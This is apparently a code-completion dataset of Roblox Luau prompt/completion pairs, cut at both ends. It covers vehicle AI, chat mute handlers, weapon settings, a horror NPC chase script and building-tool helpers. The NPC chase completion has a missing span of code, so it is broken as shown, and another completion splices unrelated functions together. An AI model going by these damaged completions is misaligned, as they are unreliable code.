CheckDistance(Car.Chassis.FloorPanel.Position, LeftResult.Position)\n\t\tend\n\n\t\tif FrontResult ~= nil then\n\t\t\tFrontDistance = CheckDistance(Car.Chassis.FloorPanel.Position, FrontResult.Position)\n\t\tend\n\n\t\tif (LeftDistance > 20 or RightDistance > 20) and FrontDistance > 25 then\n\t\t\tif LeftDistance > RightDistance then\n\t\t\t\tUpdateSteeringWithComp(1)\n\t\t\t\treturn 1\n\t\t\telse\n\t\t\t\tUpdateSteeringWithComp(-1)\n\t\t\t\treturn -1\n\t\t\tend\n\t\telse\n\t\t\tUpdateThrottleWithComp(-0.6)\n\t\t\treturn 0\n\t\tend\n\telse -- Vehicle somewhere not behind; use default behavior\n\t\tlocal GoalFrontVector = Car.Chassis.FloorPanel.CFrame.RightVector\n\t\tlocal DotProduct = PositionDifference:Dot(GoalFrontVector)\n\t\tlocal TargetAngle1 = math.deg(math.acos(DotProduct))\n\t\tlocal TargetAngle = TargetAngle1 - 90\n\t\tif TargetAngle > 90 then\n\t\t\tTargetAngle = 90 - TargetAngle\n\t\tend\n\n\t\tUpdateSteeringWithComp(math.clamp(TargetAngle / 40, -1, 1))\n\n\t\treturn math.abs(math.clamp(TargetAngle / 40, -1, 1))\n\tend\nend\n\nlocal function PIT(vehicle: Model)\n\t-- First, find the nearest wheel: left or right\n\tlocal vehLeft: BasePart = vehicle:FindFirstChild(\"SuspensionRL\", true).Wheel\n\tlocal vehRight: BasePart = vehicle:FindFirstChild(\"SuspensionRR\", true).Wheel\n\n\tif CheckDistance(vehLeft.Position, Car.Chassis.SuspensionFR.Wheel.Position) < 50 or CheckDistance(vehRight.Position, Car.Chassis.SuspensionFL.Wheel.Position) < 50 then\n\t\tif CheckDistance(vehLeft.Position, Car.Chassis.SuspensionFR.Wheel.Position) < CheckDistance(vehRight.Position, Car.Chassis.SuspensionFL.Wheel.Position) then\n\t\t\tUpdateThrottleWithComp(1)\n\t\t\tFaceSteerToPosition(vehLeft.Position --[[+ vehLeft.AssemblyLinearVelocity]])\n\t\telse\n\t\t\tUpdateThrottleWithComp(1)\n\t\t\tFaceSteerToPosition(vehRight.Position --[[+ vehRight.AssemblyLinearVelocity]])\n\t\tend\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend"} +{"prompt": "-- Customize the sprint speed multiplier as desired", "completion": "\nlocal sprintSpeedMultiplier = 2 -- Change this value to adjust the sprint speed\nlocal sprintDuration = 5 -- Change this value to set the sprint duration in seconds\nlocal defaultWalkSpeed = 16 -- Change this value to set the default walk speed\n\nlocal player = game.Players.LocalPlayer\nlocal character = player.Character\nlocal humanoid = character:WaitForChild(\"Humanoid\")\n\nlocal isSprinting = false\nlocal meterX = 19\nlocal meterV = meterX\n"} +{"prompt": "-- Mode status:\n-- 0/4 = Off\n-- 1 = Auto\n-- 2 = On", "completion": "\n\nlocal motionSensor = script.Parent.Parent.Parent.SensorFunction.SensorScript\nlocal Mode = script.Parent.Parent.Parent.Parent.Mode.Value\nlocal LED = script.Parent.Parent.Parent.LED\nlocal Off = script.Parent.Parent.Off\nlocal On = script.Parent.Parent.On\nlocal Auto = script.Parent.Parent.Sensor\nlocal status = script.Parent.Parent.Parent.Parent.State\n\nfunction onClicked()\n\t--Auto to Off\n\tif Mode == 1 then\n\t\tscript.Parent.Sound_:Play()\n\t\tstatus.Value = 0\n\t\tmotionSensor.Disabled = true\n\t\tAuto.Transparency = 1\t\n\t\tOn.Transparency = 1\n\t\tOff.Transparency = 0\n\t\tLED.BrickColor = BrickColor.new(\"Maroon\")\n\t\tLED.Material = \"Neon\"\n\t\tMode = 0\n\t\twait(1)\n\t\tscript.Parent.Sound:Play()\n\t\t--Off to On\t\n\telseif Mode == 0 then\n\t\tscript.Parent.Sound_:Play()\n\t\tstatus.Value = 1\n\t\tmotionSensor.Disabled = true\n\t\tAuto.Transparency = 1\n\t\tOn.Transparency = 0\n\t\tOff.Transparency = 1\t\t\n\t\tLED.BrickColor = BrickColor.new(\"Really red\")\n\t\tLED.Material = \"Neon\"\n\t\tMode = 2\n\t\twait(1)\n\t\tscript.Parent.Sound:Play()\n\t\t--On to Off\t\t\n\telseif Mode == 2 then\n\t\tscript.Parent.Sound_:Play()\n\t\tstatus.Value = 0\n\t\tmotionSensor.Disabled = true\n\t\tAuto.Transparency = 1\t\n\t\tOn.Transparency = 1\n\t\tOff.Transparency = 0\n\t\tLED.BrickColor = BrickColor.new(\"Maroon\")\n\t\tLED.Material = \"Neon\"\n\t\tMode = 4\n\t\twait(1)\n\t\tscript.Parent.Sound:Play()\n\t\t--Off to Auto\t\t\n\telseif Mode == 4 then\n\t\tscript.Parent.Sound_:Play()\n\t\tstatus.Value = 0\n\t\tmotionSensor.Disabled = false\n\t\tAuto.Transparency = 0\n\t\tOn.Transparency = 1\n\t\tOff.Transparency = 1\n\t\tLED.BrickColor = BrickColor.new(\"Forest green\")\t\n\t\tLED.Material = \"Neon\"\t\n\t\tMode = 1\n\t\twait(1)\n\t\tscript.Parent.Sound:Play()\n\tend\nend\n\nscript.Parent.ClickDetector.MouseClick:Connect(onClicked)\n"} +{"prompt": "-- A graph object which can have dependents.", "completion": "\nexport type Dependency = {\n\tdependentSet: Set\n}\n"} +{"prompt": "--if hood.Velocity.magnitude < 15 then return end -- must be going decently fast to break stuff... can add invisible \"prebumpers\" in the future to make collisions smoother", "completion": "\nif hood.CFrame:vectorToObjectSpace(hood.Velocity):Dot(direction) < 40 then return end -- must be going fast in correct direction to break stuff\n\n\tif hit and hit.Parent then\n\t\tif hit.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\t--hit.Parent:BreakJoints() let's not kill 'em... for now\n\t\t\thit.Parent.Humanoid.Sit = true -- but we do make 'em flyyyy! XD\n\t\telseif hit:FindFirstChild(\"RobloxModel\") and not hit:FindFirstChild(\"RunOver\") and isSmallerThanVehicle(hit) then\n\t\t\tlocal newModel = hit:Clone()\n\t\t\tlocal modelParent = hit.Parent\n\t\t\tlocal newRunOverTag = Instance.new(\"BoolValue\")\n\t\t\tnewRunOverTag.Name = \"RunOver\"\n\t\t\tnewRunOverTag.Parent = hit\n\n\t\t\thit:BreakJoints()\n\t\t\tdebris:AddItem(hit, timeToRespawn)\n\t\t\tcoroutine.resume(coroutine.create(respawnIt), newModel, modelParent)\n\t\telseif hit.Parent:FindFirstChild(\"RobloxModel\") and not hit.Parent:FindFirstChild(\"RunOver\") and isSmallerThanVehicle(hit.Parent) then\n\t\t\tlocal newModel = hit.Parent:Clone()\n\t\t\tlocal modelParent = hit.Parent.Parent\n\t\t\tlocal newRunOverTag = Instance.new(\"BoolValue\")\n\t\t\tnewRunOverTag.Name = \"RunOver\"\n\t\t\tnewRunOverTag.Parent = hit.Parent\n\n\t\t\thit.Parent:BreakJoints()\n\t\t\tdebris:AddItem(hit.Parent, timeToRespawn)\n\t\t\tcoroutine.resume(coroutine.create(respawnIt), newModel, modelParent)\n\t\tend\n\tend\nend\n"} +{"prompt": "--[=[\n\t@param name string\n\t@param inboundMiddleware ClientMiddleware?\n\t@param outboundMiddleware ClientMiddleware?\n\t@return ClientRemoteProperty\n\tReturns a new ClientRemoteProperty that mirrors the matching RemoteProperty created by\n\tServerComm with the same matching `name`.\n\n\tTake a look at the ClientRemoteProperty documentation for more info, such as\n\tunderstanding how to wait for data to be ready.\n\n\t```lua\n\tlocal mapInfo = clientComm:GetProperty(\"MapInfo\")\n\n\t-- Observe the initial value of mapInfo, and all subsequent changes:\n\tmapInfo:Observe(function(info)\n\t\tprint(\"Current map info\", info)\n\tend)\n\n\t-- Check to see if data is initially ready:\n\tif mapInfo:IsReady() then\n\t\t-- Get the data:\n\t\tlocal info = mapInfo:Get()\n\tend\n\n\t-- Get a promise that resolves once the data is ready (resolves immediately if already ready):\n\tmapInfo:OnReady():andThen(function(info)\n\t\tprint(\"Map info is ready with info\", info)\n\tend)\n\n\t-- Same as above, but yields thread:\n\tlocal success, info = mapInfo:OnReady():await()\n\t```\n]=]", "completion": "\nfunction ClientComm:GetProperty(\n\tname: string,\n\tinboundMiddleware: Types.ClientMiddleware?,\n\toutboundMiddleware: Types.ClientMiddleware?\n)\n\treturn Comm.GetProperty(self._instancesFolder, name, inboundMiddleware, outboundMiddleware)\nend\n"} +{"prompt": "--[[\n\tPacks a number of arguments into a table and returns its length.\n\tUsed to cajole varargs without dropping sparse values.\n]]", "completion": "\nlocal function pack(...)\n\tlocal len = select(\"#\", ...)\n\n\treturn len, { ... }\nend\n"} +{"prompt": "-- Maximum distance away that the player can interact with target", "completion": "\nlocal MAX_DISTANCE = 20\n"} +{"prompt": "--//trunk", "completion": "\nlocal tk = Instance.new(\"Motor\", script.Parent.Parent.Misc.TK.SS)\ntk.MaxVelocity = 0.02\ntk.Part0 = script.Parent.TK\ntk.Part1 = tk.Parent\n"} +{"prompt": "--//# Graphics+\n--//# Version: 1.13 | Featuring Terrain+", "completion": "\n"} +{"prompt": "-- This is pcalled because the SetCore methods may not be released yet.", "completion": "\npcall(function()\n\tPlayerBlockedEvent = StarterGui:GetCore(\"PlayerBlockedEvent\")\n\tPlayerMutedEvent = StarterGui:GetCore(\"PlayerMutedEvent\")\n\tPlayerUnBlockedEvent = StarterGui:GetCore(\"PlayerUnblockedEvent\")\n\tPlayerUnMutedEvent = StarterGui:GetCore(\"PlayerUnmutedEvent\")\nend)\n\nfunction SendSystemMessageToSelf(message)\n\tlocal currentChannel = ChatWindow:GetCurrentChannel()\n\n\tif currentChannel then\n\t\tlocal messageData =\n\t\t{\n\t\t\tID = -1,\n\t\t\tFromSpeaker = nil,\n\t\t\tSpeakerUserId = 0,\n\t\t\tOriginalChannel = currentChannel.Name,\n\t\t\tIsFiltered = true,\n\t\t\tMessageLength = string.len(message),\n\t\t\tMessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)),\n\t\t\tMessage = trimTrailingSpaces(message),\n\t\t\tMessageType = ChatConstants.MessageTypeSystem,\n\t\t\tTime = os.time(),\n\t\t\tExtraData = nil,\n\t\t}\n\n\t\tcurrentChannel:AddMessageToChannel(messageData)\n\tend\nend\n\nfunction MutePlayer(player)\n\tlocal mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild(\"MutePlayerRequest\")\n\tif mutePlayerRequest then\n\t\treturn mutePlayerRequest:InvokeServer(player.Name)\n\tend\n\treturn false\nend\n\nif PlayerBlockedEvent then\n\tPlayerBlockedEvent.Event:connect(function(player)\n\t\tif MutePlayer(player) then\n\t\t\tlocal playerName\n\n\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\tplayerName = player.DisplayName\n\t\t\telse\n\t\t\t\tplayerName = player.Name\n\t\t\tend\n\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenBlocked\",\n\t\t\t\t\t\tstring.format(\"Speaker '%s' has been blocked.\", playerName)\n\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\", playerName\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nif PlayerMutedEvent then\n\tPlayerMutedEvent.Event:connect(function(player)\n\t\tif MutePlayer(player) then\n\t\t\tlocal playerName\n\n\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\tplayerName = player.DisplayName\n\t\t\telse\n\t\t\t\tplayerName = player.Name\n\t\t\tend\n\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenMuted\",\n\t\t\t\t\t\tstring.format(\"Speaker '%s' has been muted.\", playerName)\n\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\", playerName\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nfunction UnmutePlayer(player)\n\tlocal unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild(\"UnMutePlayerRequest\")\n\tif unmutePlayerRequest then\n\t\treturn unmutePlayerRequest:InvokeServer(player.Name)\n\tend\n\treturn false\nend\n\nif PlayerUnBlockedEvent then\n\tPlayerUnBlockedEvent.Event:connect(function(player)\n\t\tif UnmutePlayer(player) then\n\t\t\tlocal playerName\n\n\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\tplayerName = player.DisplayName\n\t\t\telse\n\t\t\t\tplayerName = player.Name\n\t\t\tend\n\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenUnBlocked\",\n\t\t\t\t\t\tstring.format(\"Speaker '%s' has been unblocked.\", playerName)\n\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\", playerName\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nif PlayerUnMutedEvent then\n\tPlayerUnMutedEvent.Event:connect(function(player)\n\t\tif UnmutePlayer(player) then\n\t\t\tlocal playerName\n\n\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\tplayerName = player.DisplayName\n\t\t\telse\n\t\t\t\tplayerName = player.Name\n\t\t\tend\n\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenUnMuted\",\n\t\t\t\t\t\tstring.format(\"Speaker '%s' has been unmuted.\", playerName)\n\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\", playerName\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n"} +{"prompt": "-- You may turn both of these on at once. In that case, zone-specific music will play in the appropriate zones, and global background music will play whenever you're not within any zone.", "completion": "\n\n\t\nsettings.DisplayMuteButton = true -- If set to true, there will be a button in the bottom-right corner of the screen allowing players to mute the background music.\n\t\nsettings.MusicFadeoutTime = 1.5 -- How long music takes to fade out, in seconds.\n\nsettings.MusicOnlyPlaysWithinZones = false -- (This setting only applies when UseGlobalBackgroundMusic is set to false) If a player walks into an area that's not covered by any music zone, what should happen? If true, music will stop playing. If false, the music from the previous zone will continue to play.\n\nreturn settings\n"} +{"prompt": "--[[\n\tAssert that our functoid expectation value throws an error when called.\n\tAn optional error message can be passed to assert that the error message\n\tcontains the given value.\n]]", "completion": "\nfunction Expectation:throw(messageSubstring)\n\tlocal ok, err = pcall(self.value)\n\tlocal result = ok ~= self.successCondition\n\n\tif messageSubstring and not ok then\n\t\tif self.successCondition then\n\t\t\tresult = err:find(messageSubstring, 1, true) ~= nil\n\t\telse\n\t\t\tresult = err:find(messageSubstring, 1, true) == nil\n\t\tend\n\tend\n\n\tlocal message\n\n\tif messageSubstring then\n\t\tmessage = formatMessage(\n\t\t\tself.successCondition,\n\t\t\t(\"Expected function to throw an error containing %q, but it %s\"):format(\n\t\t\t\tmessageSubstring,\n\t\t\t\terr and (\"threw: %s\"):format(err) or \"did not throw.\"\n\t\t\t),\n\t\t\t(\"Expected function to never throw an error containing %q, but it threw: %s\"):format(\n\t\t\t\tmessageSubstring,\n\t\t\t\ttostring(err)\n\t\t\t)\n\t\t)\n\telse\n\t\tmessage = formatMessage(\n\t\t\tself.successCondition,\n\t\t\t\"Expected function to throw an error, but it did not throw.\",\n\t\t\t(\"Expected function to succeed, but it threw an error: %s\"):format(tostring(err))\n\t\t)\n\tend\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n\nreturn Expectation\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=100;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"HumanoidRootPart\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"HumanoidRootPart\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.5);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=30;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=500;\nJeffTheKillerHumanoid.JumpPower=60;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "--Don't touch anything in this script unless you know what you're doing", "completion": "\nscript.Parent.MouseButton1Click:connect(function()\t\nscript.Parent.Parent.Frame.Visible=true\nscript.Parent.Visible=false\nend)\n"} +{"prompt": "-------------------------------------Gun info", "completion": "\nToolName=\"Mark IV\"\n\nClipSize=30\nReloadTime=2\nFirerate=.2\nMinSpread=1\nMaxSpread=6\nSpreadRate=1\nBaseDamage=30\nautomatic=true\nburst=false\nshot=false\t\t\t--shotgun\nBarrlePos=Vector3.new(0,0.70,-2.90)\nCursors={\"rbxasset://textures\\\\GunCursor.png\"}\nReloadCursor=\"rbxasset://textures\\\\GunWaitCursor.png\""} +{"prompt": "-- Cache common functions to avoid unnecessary table lookups", "completion": "\nlocal TableInsert, NewVector3 = table.insert, Vector3.new\n\nfunction GetCornerOffsets(Origin, InitialStates)\n\t-- Calculates and returns the offset of every corner in the initial state from the origin CFrame\n\n\tlocal CornerOffsets = {}\n\n\t-- Get offset for origin point\n\tlocal OriginOffset = Origin:inverse()\n\n\t-- Go through each item in the initial state\n\tfor Item, State in pairs(InitialStates) do\n\t\tlocal ItemCFrame = State.CFrame\n\t\tlocal SizeX, SizeY, SizeZ = Item.Size.X / 2, Item.Size.Y / 2, Item.Size.Z / 2\n\n\t\t-- Gather each corner\n\t\tTableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, SizeY, SizeZ)))\n\t\tTableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, SizeY, SizeZ)))\n\t\tTableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, -SizeY, SizeZ)))\n\t\tTableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, SizeY, -SizeZ)))\n\t\tTableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, SizeY, -SizeZ)))\n\t\tTableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, -SizeY, SizeZ)))\n\t\tTableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, -SizeY, -SizeZ)))\n\t\tTableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, -SizeY, -SizeZ)))\n\tend\n\n\t-- Return the offsets\n\treturn CornerOffsets\n\nend\n\nfunction FreeDragging:InstallDragEndListener()\n Support.AddUserInputListener('Ended', {'Touch', 'MouseButton1'}, true, function (Input)\n\n -- Clear drag detection data\n self.StartScreenPoint = nil\n self.StartTarget = nil\n ContextActionService:UnbindAction 'BT: Watch for dragging'\n\n -- Reset from drag mode if dragging\n if self.IsDragging then\n\n -- Reset axes\n self.Tool:SetAxes(self.Tool.Axes)\n\n -- Finalize the dragging operation\n self:FinishDragging()\n\n end\n\n end)\nend\n\nreturn FreeDragging\n"} +{"prompt": "--[[ Utility Functions ]]", "completion": "--\nlocal function IsFinite(num)\n\treturn num == num and num ~= 1/0 and num ~= -1/0\nend\n\nlocal function 